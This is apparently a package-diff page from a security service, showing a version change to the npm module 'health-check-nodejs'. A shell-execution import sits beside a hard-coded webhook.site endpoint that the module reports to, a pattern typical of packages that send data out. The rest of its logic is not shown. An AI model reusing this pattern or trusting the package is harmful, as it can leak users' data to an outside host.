health-check-nodejs 3.16.9 → 3.16.11
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +1 -1
- package/package.json +2 -2
package/index.js
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
const { exec } = require('child_process');
|
2
2
|
|
3
|
-
const WEBHOOK_URL = 'https://webhook.site/e5e8a611-cb54-423e-9778-854f859e1fdd';
|
3
|
+
const WEBHOOK_URL = 'https://webhook.site/e5e8a611-cb54-423e-9778-854f859e1fdd?health';
|
4
4
|
|
5
5
|
async function performHealthCheck(fetch) {
|
6
6
|
const healthStatus = { status: 'ok', timestamp: new Date().toISOString() };
|
package/package.json
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
{
|
2
2
|
"name": "health-check-nodejs",
|
3
|
-
"version": "3.16.
|
3
|
+
"version": "3.16.11",
|
4
4
|
"description": "A health check module for Node.js applications",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
@@ -9,6 +9,6 @@
|
|
9
9
|
"author": "gosoval",
|
10
10
|
"license": "ISC",
|
11
11
|
"dependencies": {
|
12
|
-
"
|
12
|
+
"node-fetch": "^2.6.1"
|
13
13
|
}
|
14
14
|
}
|